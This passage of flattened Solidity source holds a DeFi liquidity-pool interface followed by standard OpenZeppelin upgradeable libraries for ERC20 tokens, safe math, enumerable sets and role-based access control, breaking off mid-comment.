demand for that asset. /// @notice Holders of fTokens can redeem for underlying asset after issuing requestWithdrawal and waiting for the next cycle. interface ILiquidityPool { struct WithdrawalInfo { uint256 minCycle; uint256 amount; } /// @notice Transfers amount of underlying token from user to this pool and mints fToken to the msg.sender. /// @notice Depositor must have previously granted transfer approval to the pool via underlying token contract. /// @notice Liquidity deposited is deployed on the next cycle - unless a withdrawal request is submitted, in which case the liquidity will be withheld. function deposit(uint256 amount) external; /// @notice Transfers amount of underlying token from user to this pool and mints fToken to the account. /// @notice Depositor must have previously granted transfer approval to the pool via underlying token contract. /// @notice Liquidity deposited is deployed on the next cycle - unless a withdrawal request is submitted, in which case the liquidity will be withheld. function depositFor(address account, uint256 amount) external; /// @notice Requests that the manager prepare funds for withdrawal next cycle /// @notice Invoking this function when sender already has a currently pending request will overwrite that requested amount and reset the cycle timer /// @param amount Amount of fTokens requested to be redeemed function requestWithdrawal(uint256 amount) external; function approveManager(uint256 amount) external; /// @notice Sender must first invoke requestWithdrawal in a previous cycle /// @notice This function will burn the fAsset and transfers underlying asset back to sender /// @notice Will execute a partial withdrawal if either available liquidity or previously requested amount is insufficient /// @param amount Amount of fTokens to redeem, value can be in excess of available tokens, operation will be reduced to maximum permissible function withdraw(uint256 amount) external; /// @return Reference to the underlying ERC-20 contract function underlyer() external view returns (ERC20Upgradeable); /// @return Amount of liquidity that should not be deployed for market making (this liquidity will be used for completing requested withdrawals) function withheldLiquidity() external view returns (uint256); /// @notice Get withdraw requests for an account /// @param account User account to check /// @return minCycle Cycle - block number - that must be active before withdraw is allowed, amount Token amount requested function requestedWithdrawals(address account) external view returns (uint256, uint256); /// @notice Pause deposits on the pool. Withdraws still allowed function pause() external; /// @notice Unpause deposits on the pool. function unpause() external; } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSetUpgradeable.sol"; import "../utils/AddressUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/ContextUpgradeable.sol"; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../proxy/Initializable.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for 